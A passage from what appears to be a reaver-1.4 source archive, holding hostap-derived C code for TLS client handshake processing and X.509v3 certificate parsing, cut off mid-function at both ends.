4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerKeyExchange/" "CertificateRequest/ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerKeyExchange"); if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not allowed " "with the selected cipher suite"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: ServerKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { if (tlsv1_process_diffie_hellman(conn, pos, len) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } } else { wpa_printf(MSG_DEBUG, "TLSv1: UnexpectedServerKeyExchange"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } *in_len = end - in_data; conn->state = SERVER_CERTIFICATE_REQUEST; return 0; } static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateRequest " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in CertificateRequest " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateRequest"); conn->certificate_requested = 1; *in_len = end - in_data; conn->state = SERVER_HELLO_DONE; return 0; } static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerHelloDone " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerHelloDone " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHelloDone"); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_server_change_cipher_spec(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); if (conn->use_session_ticket) { int res; wpa_printf(MSG_DEBUG, "TLSv1: Server may have " "rejected SessionTicket"); conn->use_session_ticket = 0; /* Notify upper layers that SessionTicket failed */ res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, NULL, NULL, NULL); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket " "callback indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->state = SERVER_CERTIFICATE; return tls_process_certificate(conn, ct, in_data, in_len); } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = SERVER_FINISHED; return 0; } static int tls_process_server_finished(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_server == NULL || crypto_hash_finish(conn->verify.md5_server, hash, &hlen) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_server = NULL; crypto_hash_finish(conn->verify.sha1_server, NULL, NULL); conn->verify.sha1_server = NULL; return -1; } conn->verify.md5_server = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_server == NULL || crypto_hash_finish(conn->verify.sha1_server, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_server = NULL; tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_server = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "server finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (server)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? CHANGE_CIPHER_SPEC : ACK_FINISHED; return 0; } static int tls_process_application_data(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len, u8 **out_data, size_t *out_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Application Data; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; wpa_hexdump(MSG_DEBUG, "TLSv1: Application Data included in Handshake", pos, left); *out_data = os_malloc(left); if (*out_data) { os_memcpy(*out_data, pos, left); *out_len = left; } return 0; } int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE && *len >= 4 && buf[0] == TLS_HANDSHAKE_TYPE_HELLO_REQUEST) { size_t hr_len = WPA_GET_BE24(buf + 1); if (hr_len > *len - 4) { wpa_printf(MSG_DEBUG, "TLSv1: HelloRequest underflow"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Ignored HelloRequest"); *len = 4 + hr_len; return 0; } switch (conn->state) { case SERVER_HELLO: if (tls_process_server_hello(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case SERVER_KEY_EXCHANGE: if (tls_process_server_key_exchange(conn, ct, buf, len)) return -1; break; case SERVER_CERTIFICATE_REQUEST: if (tls_process_certificate_request(conn, ct, buf, len)) return -1; break; case SERVER_HELLO_DONE: if (tls_process_server_hello_done(conn, ct, buf, len)) return -1; break; case SERVER_CHANGE_CIPHER_SPEC: if (tls_process_server_change_cipher_spec(conn, ct, buf, len)) return -1; break; case SERVER_FINISHED: if (tls_process_server_finished(conn, ct, buf, len)) return -1; break; case ACK_FINISHED: if (out_data && tls_process_application_data(conn, ct, buf, len, out_data, out_len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } reaver-1.4/src/tls/x509v3.c0000755000175000017500000014101511705505260014715 0ustar reaverreaver/* * X.509v3 certificate parsing and processing (RFC 3280 profile) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "asn1.h" #include "x509v3.h" static void x509_free_name(struct x509_name *name) { size_t i; for (i = 0; i < name->num_attr; i++) { os_free(name->attr[i].value); name->attr[i].value = NULL; name->attr[i].type = X509_NAME_ATTR_NOT_USED; } name->num_attr = 0; os_free(name->email); name->email = NULL; os_free(name->alt_email); os_free(name->dns); os_free(name->uri); os_free(name->ip); name->alt_email = name->dns = name->uri = NULL; name->ip = NULL; name->ip_len = 0; os_memset(&name->rid, 0, sizeof(name->rid)); } /** * x509_certificate_free - Free an X.509 certificate * @cert: Certificate to be freed */ void x509_certificate_free(struct x509_certificate *cert) { if (cert == NULL) return; if (cert->next) { wpa_printf(MSG_DEBUG, "X509: x509_certificate_free: cer=%p " "was still on a list (next=%p)\n", cert, cert->next); } x509_free_name(&cert->issuer); x509_free_name(&cert->subject); os_free(cert->public_key); os_free(cert->sign_value); os_free(cert); } /** * x509_certificate_free - Free an X.509 certificate chain * @cert: Pointer to the first certificate in the chain */ void x509_certificate_chain_free(struct x509_certificate *cert) { struct x509_certificate *next; while (cert) { next = cert->next; cert->next = NULL; x509_certificate_free(cert); cert = next; } } static int x509_whitespace(char c) { return c == ' ' || c == '\t'; } static void x509_str_strip_whitespace(char *a) { char *ipos, *opos; int remove_whitespace = 1; ipos = opos = a; while (*ipos) { if (remove_whitespace && x509_whitespace(*ipos)) ipos++; else { remove_whitespace = x509_whitespace(*ipos); *opos++ = *ipos++; } } *opos-- = '\0'; if (opos > a && x509_whitespace(*opos)) *opos = '\0'; } static int x509_str_compare(const char *a, const char *b) { char *aa, *bb; int ret; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; aa = os_strdup(a); bb = os_strdup(b); if (aa == NULL || bb == NULL) { os_free(aa); os_free(bb); return os_strcasecmp(a, b); } x509_str_strip_whitespace(aa); x509_str_strip_whitespace(bb); ret = os_strcasecmp(aa, bb); os_free(aa); os_free(bb); return ret; } /** * x509_name_compare - Compare X.509 certificate names * @a: Certificate name * @b: Certificate name * Returns: <0, 0, or >0 based on whether a is less than, equal to, or * greater than b */ int x509_name_compare(struct x509_name *a, struct x509_name *b) { int res; size_t i; if (!a && b) return -1; if (a && !b) return 1; if (!a && !b) return 0; if (a->num_attr < b->num_attr) return -1; if (a->num_attr > b->num_attr) return 1; for (i = 0; i < a->num_attr; i++) { if (a->attr[i].type < b->attr[i].type) return -1; if (a->attr[i].type > b->attr[i].type) return -1; res = x509_str_compare(a->attr[i].value, b->attr[i].value); if (res) return res; } res = x509_str_compare(a->email, b->email); if (res) return res; return 0; } static int x509_parse_algorithm_identifier( const u8 *buf, size_t len, struct x509_algorithm_identifier *id, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = pos + hdr.length; if (end > buf + len) return -1; *next = end; if (asn1_get_oid(pos, end - pos, &id->oid, &pos)) return -1; /* TODO: optional parameters */ return 0; } static int x509_parse_public_key(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end; /* * SubjectPublicKeyInfo ::= SEQUENCE { * algorithm AlgorithmIdentifier, * subjectPublicKey BIT STRING * } */ pos = buf; end = buf + len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(SubjectPublicKeyInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > end) return -1; end = pos + hdr.length; *next = end; if (x509_parse_algorithm_identifier(pos, end - pos, &cert->public_key_alg, &pos)) return -1; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(subjectPublicKey) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length < 1) return -1; pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* * TODO: should this be rejected? X.509 certificates are * unlikely to use such a construction. Now we would end up * including the extra bits in the buffer which may also be * ok. */ } os_free(cert->public_key); cert->public_key = os_malloc(hdr.length - 1); if (cert->public_key == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "public key"); return -1; } os_memcpy(cert->public_key, pos + 1, hdr.length - 1); cert->public_key_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: subjectPublicKey", cert->public_key, cert->public_key_len); return 0; } static int x509_parse_name(const u8 *buf, size_t len, struct x509_name *name, const u8 **next) { struct asn1_hdr hdr; const u8 *pos, *end, *set_pos, *set_end, *seq_pos, *seq_end; struct asn1_oid oid; char *val; /* * Name ::= CHOICE { RDNSequence } * RDNSequence ::= SEQUENCE OF RelativeDistinguishedName * RelativeDistinguishedName ::= SET OF AttributeTypeAndValue * AttributeTypeAndValue ::= SEQUENCE { * type AttributeType, * value AttributeValue * } * AttributeType ::= OBJECT IDENTIFIER * AttributeValue ::= ANY DEFINED BY AttributeType */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Name / RDNSequencer) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; if (pos + hdr.length > buf + len) return -1; end = *next = pos + hdr.length; while (pos < end) { enum x509_name_attr_type type; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SET) { wpa_printf(MSG_DEBUG, "X509: Expected SET " "(RelativeDistinguishedName) - found class " "%d tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } set_pos = hdr.payload; pos = set_end = hdr.payload + hdr.length; if (asn1_get_next(set_pos, set_end - set_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AttributeTypeAndValue) - found class %d " "tag 0x%x", hdr.class, hdr.tag); x509_free_name(name); return -1; } seq_pos = hdr.payload; seq_end = hdr.payload + hdr.length; if (asn1_get_oid(seq_pos, seq_end - seq_pos, &oid, &seq_pos)) { x509_free_name(name); return -1; } if (asn1_get_next(seq_pos, seq_end - seq_pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL) { wpa_printf(MSG_DEBUG, "X509: Failed to parse " "AttributeValue"); x509_free_name(name); return -1; } /* RFC 3280: * MUST: country, organization, organizational-unit, * distinguished name qualifier, state or province name, * common name, serial number. * SHOULD: locality, title, surname, given name, initials, * pseudonym, generation qualifier. * MUST: domainComponent (RFC 2247). */ type = X509_NAME_ATTR_NOT_USED; if (oid.len == 4 && oid.oid[0] == 2 && oid.oid[1] == 5 && oid.oid[2] == 4) { /* id-at ::= 2.5.4 */ switch (oid.oid[3]) { case 3: /* commonName */ type = X509_NAME_ATTR_CN; break; case 6: /* countryName */ type = X509_NAME_ATTR_C; break; case 7: /* localityName */ type = X509_NAME_ATTR_L; break; case 8: /* stateOrProvinceName */ type = X509_NAME_ATTR_ST; break; case 10: /* organizationName */ type = X509_NAME_ATTR_O; break; case 11: /* organizationalUnitName */ type = X509_NAME_ATTR_OU; break; } } else if (oid.len == 7 && oid.oid[0] == 1 && oid.oid[1] == 2 && oid.oid[2] == 840 && oid.oid[3] == 113549 && oid.oid[4] == 1 && oid.oid[5] == 9 && oid.oid[6] == 1) { /* 1.2.840.113549.1.9.1 - e-mailAddress */ os_free(name->email); name->email = os_malloc(hdr.length + 1); if (name->email == NULL) { x509_free_name(name); return -1; } os_memcpy(name->email, hdr.payload, hdr.length); name->email[hdr.length] = '\0'; continue; } else if (oid.len == 7 && oid.oid[0] == 0 && oid.oid[1] == 9 && oid.oid[2] == 2342 && oid.oid[3] == 19200300 && oid.oid[4] == 100 && oid.oid[5] == 1 && oid.oid[6] == 25) { /* 0.9.2342.19200300.100.1.25 - domainComponent */ type = X509_NAME_ATTR_DC; } if (type == X509_NAME_ATTR_NOT_USED) { wpa_hexdump(MSG_DEBUG, "X509: Unrecognized OID", (u8 *) oid.oid, oid.len * sizeof(oid.oid[0])); wpa_hexdump_ascii(MSG_MSGDUMP, "X509: Attribute Data", hdr.payload, hdr.length); continue; } if (name->num_attr == X509_MAX_NAME_ATTRIBUTES) { wpa_printf(MSG_INFO, "X509: Too many Name attributes"); x509_free_name(name); return -1; } val = os_malloc(hdr.length + 1); if (val == NULL) { x509_free_name(name); return -1; } os_memcpy(val, hdr.payload, hdr.length); val[hdr.length] = '\0'; if (os_strlen(val) != hdr.length) { wpa_printf(MSG_INFO, "X509: Reject certificate with " "embedded NUL byte in a string (%s[NUL])", val); x509_free_name(name); return -1; } name->attr[name->num_attr].type = type; name->attr[name->num_attr].value = val; name->num_attr++; } return 0; } static char * x509_name_attr_str(enum x509_name_attr_type type) { switch (type) { case X509_NAME_ATTR_NOT_USED: return "[N/A]"; case X509_NAME_ATTR_DC: return "DC"; case X509_NAME_ATTR_CN: return "CN"; case X509_NAME_ATTR_C: return "C"; case X509_NAME_ATTR_L: return "L"; case X509_NAME_ATTR_ST: return "ST"; case X509_NAME_ATTR_O: return "O"; case X509_NAME_ATTR_OU: return "OU"; } return "?"; } /** * x509_name_string - Convert an X.509 certificate name into a string * @name: Name to convert * @buf: Buffer for the string * @len: Maximum buffer length */ void x509_name_string(struct x509_name *name, char *buf, size_t len) { char *pos, *end; int ret; size_t i; if (len == 0) return; pos = buf; end = buf + len; for (i = 0; i < name->num_attr; i++) { ret = os_snprintf(pos, end - pos, "%s=%s, ", x509_name_attr_str(name->attr[i].type), name->attr[i].value); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } if (pos > buf + 1 && pos[-1] == ' ' && pos[-2] == ',') { pos--; *pos = '\0'; pos--; *pos = '\0'; } if (name->email) { ret = os_snprintf(pos, end - pos, "/emailAddress=%s", name->email); if (ret < 0 || ret >= end - pos) goto done; pos += ret; } done: end[-1] = '\0'; } static int x509_parse_time(const u8 *buf, size_t len, u8 asn1_tag, os_time_t *val) { const char *pos; int year, month, day, hour, min, sec; /* * Time ::= CHOICE { * utcTime UTCTime, * generalTime GeneralizedTime * } * * UTCTime: YYMMDDHHMMSSZ * GeneralizedTime: YYYYMMDDHHMMSSZ */ pos = (const char *) buf; switch (asn1_tag) { case ASN1_TAG_UTCTIME: if (len != 13 || buf[12] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "UTCTime format", buf, len); return -1; } if (sscanf(pos, "%02d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "UTCTime year", buf, len); return -1; } if (year < 50) year += 2000; else year += 1900; pos += 2; break; case ASN1_TAG_GENERALIZEDTIME: if (len != 15 || buf[14] != 'Z') { wpa_hexdump_ascii(MSG_DEBUG, "X509: Unrecognized " "GeneralizedTime format", buf, len); return -1; } if (sscanf(pos, "%04d", &year) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse " "GeneralizedTime year", buf, len); return -1; } pos += 4; break; default: wpa_printf(MSG_DEBUG, "X509: Expected UTCTime or " "GeneralizedTime - found tag 0x%x", asn1_tag); return -1; } if (sscanf(pos, "%02d", &month) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(month)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &day) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(day)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &hour) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(hour)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &min) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(min)", buf, len); return -1; } pos += 2; if (sscanf(pos, "%02d", &sec) != 1) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse Time " "(sec)", buf, len); return -1; } if (os_mktime(year, month, day, hour, min, sec, val) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to convert Time", buf, len); if (year < 1970) { /* * At least some test certificates have been configured * to use dates prior to 1970. Set the date to * beginning of 1970 to handle these case. */ wpa_printf(MSG_DEBUG, "X509: Year=%d before epoch - " "assume epoch as the time", year); *val = 0; return 0; } return -1; } return 0; } static int x509_parse_validity(const u8 *buf, size_t len, struct x509_certificate *cert, const u8 **next) { struct asn1_hdr hdr; const u8 *pos; size_t plen; /* * Validity ::= SEQUENCE { * notBefore Time, * notAfter Time * } * * RFC 3280, 4.1.2.5: * CAs conforming to this profile MUST always encode certificate * validity dates through the year 2049 as UTCTime; certificate * validity dates in 2050 or later MUST be encoded as GeneralizedTime. */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(Validity) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; plen = hdr.length; if (pos + plen > buf + len) return -1; *next = pos + plen; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_before) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notBefore " "Time", hdr.payload, hdr.length); return -1; } pos = hdr.payload + hdr.length; plen = *next - pos; if (asn1_get_next(pos, plen, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || x509_parse_time(hdr.payload, hdr.length, hdr.tag, &cert->not_after) < 0) { wpa_hexdump_ascii(MSG_DEBUG, "X509: Failed to parse notAfter " "Time", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_MSGDUMP, "X509: Validity: notBefore: %lu notAfter: %lu", (unsigned long) cert->not_before, (unsigned long) cert->not_after); return 0; } static int x509_id_ce_oid(struct asn1_oid *oid) { /* id-ce arc from X.509 for standard X.509v3 extensions */ return oid->len >= 4 && oid->oid[0] == 2 /* joint-iso-ccitt */ && oid->oid[1] == 5 /* ds */ && oid->oid[2] == 29 /* id-ce */; } static int x509_parse_ext_key_usage(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; /* * KeyUsage ::= BIT STRING { * digitalSignature (0), * nonRepudiation (1), * keyEncipherment (2), * dataEncipherment (3), * keyAgreement (4), * keyCertSign (5), * cRLSign (6), * encipherOnly (7), * decipherOnly (8) } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING || hdr.length < 1) { wpa_printf(MSG_DEBUG, "X509: Expected BIT STRING in " "KeyUsage; found %d tag 0x%x len %d", hdr.class, hdr.tag, hdr.length); return -1; } cert->extensions_present |= X509_EXT_KEY_USAGE; cert->key_usage = asn1_bit_string_to_long(hdr.payload, hdr.length); wpa_printf(MSG_DEBUG, "X509: KeyUsage 0x%lx", cert->key_usage); return 0; } static int x509_parse_ext_basic_constraints(struct x509_certificate *cert, const u8 *pos, size_t len) { struct asn1_hdr hdr; unsigned long value; size_t left; /* * BasicConstraints ::= SEQUENCE { * cA BOOLEAN DEFAULT FALSE, * pathLenConstraint INTEGER (0..MAX) OPTIONAL } */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE in " "BasicConstraints; found %d tag 0x%x", hdr.class, hdr.tag); return -1; } cert->extensions_present |= X509_EXT_BASIC_CONSTRAINTS; if (hdr.length == 0) return 0; 